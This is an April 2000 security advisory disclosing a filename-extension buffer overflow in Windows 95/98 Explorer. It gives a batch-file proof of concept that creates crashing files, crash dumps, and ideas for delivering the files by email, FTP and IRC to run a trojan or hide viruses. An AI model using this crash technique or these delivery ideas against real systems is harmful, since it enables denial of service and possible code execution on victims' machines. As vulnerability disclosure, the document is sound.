===================================================================== Securax-SA-02 Security Advisory belgian.networking.security Dutch ===================================================================== Topic: Ms Windows '95?/'98/SE explorer.exe causes a buffer overflow with long filename extensions. Announced: 2000-04-21 Affects: Ms Windows'95?, Ms Windows '98, Ms Windows '98 SE, windows millenium?. None affected: Ms Windows NT Server/Workstation 4.0, Ms win2K ===================================================================== THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR RESULTS. THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS 100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR NOTICE. PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ. THANK YOU, I. Background I don't know what causes explorer to crash. I suspect it be a buffer overflow in explorer.exe but in some cases i noticed other programs (that do not use explorer.exe)to crash too. I don't have the time right now to start debugging, maybe i'll do so next week. (if i find something usefull, i'll post an update) II. Problem Description When the Microsoft Windows explorer tries to access parsing a filename that contains >129 chars in the extension, a buffer will overflow And you will get this error: EXPLORER caused an invalid page fault in module at 0000:61616161. Registers: EAX=61616161 CS=0187 EIP=61616161 EFLGS=00010246 EBX=80070032 SS=018f ESP=01a1d8fc EBP=61616161 ECX=c16b6f10 DS=018f ESI=01d0bd3c FS=5047 EDX=81724974 ES=018f EDI=7fcbd320 GS=0000 Bytes at CS:EIP: Stack dump: 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 As you can notice, the EIP was overwritten during this overflow, this means we can execute code from in the filename. We can use 247 + 129 + 118 bytes to store data for some shell code. If you add some extra special characters to the file, you can cause it to be recognized as write only in windows (and not found in dos) That way, you will not be able to remove it unless you write direct to the fat. This would make viruses invincible for AV-tools. III. Reproduction of the problem a) creating such a file: place the following code in a .bat file: ---- cut here echo This will create a file that when clicked upon in windows echo explorer or any other program that calls explorer.exe for echo file management will cause a buffer overflow. dir *.* > _ . ------Buffer overflow-----------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa echo This will cause a Blue screen of death echo Just to show you it is possible to execute remote code. echo (all it does is overwrite the return adress with a false one.) dir *.* > _ . ------Blue-screen-of-death------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa12345678AAAAAAAAAA --- cut here now run the .bat file b) using this bug on remote computers: Tested on Eudora Pro: You could attach the file to an e-mail and send this e-mail to an unsuspected computer user. When he checks his e-mail an the mail program attempts to save the attachement to disk, the program will crash cause due to a buffer overflow. EUDORA caused an invalid page fault in module EUDORA.EXE at 0187:00428b05. Registers: EAX=007f0394 CS=0187 EIP=00428b05 EFLGS=00010206 EBX=00000000 SS=018f ESP=007eff88 EBP=007f0764 ECX=006a305c DS=018f ESI=007f07a8 FS=582f EDX=007eff8c ES=018f EDI=8173b024 GS=0000 Bytes at CS:EIP: 56 50 51 52 ff 15 50 9f 63 00 8b 15 80 2c 6b 00 Stack dump: Funny note: every time you try to access the dir where the attachement should have been saved, your program will crash, even if this program is not using explorer for it's file management. (In this case you don't even have to click on the file or move over it and wait some time, it will crash immediately, rendering the entire directory useless. This is what i got in Windows Commander while trying to browse the directory. Note: the file doesn't show up in a listing, neverthe less, windows commander crashes with : Application Error Exception EAccessViolation in module WINCMD32.EXE at 7F8B0736 Access violation at address 7FCB1946. Read of address 00580939 Scanning this dir with scandisk does not report any problems. c) uploading a file with this name to an FTP server, or place it some HTTP server available for download. d) DCC Sends on IRC. e) many more ? III. Impact This type of attack will allow any user local or remote with file creation access to run hostile code on the computer. (Since e-mail programs will attempt to write to disk, almost any windows98 user with an e-mail adress is vulnerable.) If someone writes some tiny code that will download and execute a remote trojan, this could cause a huge problem!. This could be used to gain root access to all windows computers Just imagine what harm someone could cause if he sends out an e-mail to 10.000 persons containing code to DDoS some server ? Writing such a code might be tricky, coz we are handling with a filename, and not all hex codes are accepted as a legal filename. (this could be partially circumvented by creating the filename with a raw write to disk.) please note that due to my exams, i don't have the time to write the shell code... everything stated about the executing of code is purely hypothetical. IV. Solution none yet. just don't download extremely long filenames. V. Credits Initial bug report : |ncubus -*- overflow detection + usage concepts + quickly written advisory by Zoa_Chien -*- Exploit shell-code : you? -*- Thnx to Lamagra for testing this on NT. -*- bug by microsoft. Final Notes: I discovered this while working on my soon to be released tutorial: "Locally Hacking MS-Windows" if anyone has rare information on this subject, feel free to mail me. If any1 has a great job to offer, plies mail, i'm sick and tired of studying stupid things.. mmm.. that reminds me, i'd better start studing for my exam tomorrow morningÓ+W|~+ć|ţ+éƒCARRIER LOST :-) Yours, Zoa_Chien, aka da G#df@rter. zoachien@securax.org ===================================================================== For more information advisory@securax.org Website http://www.securax.org Advisories/Text http://www.securax.org/pers ---------------------------------------------------------------------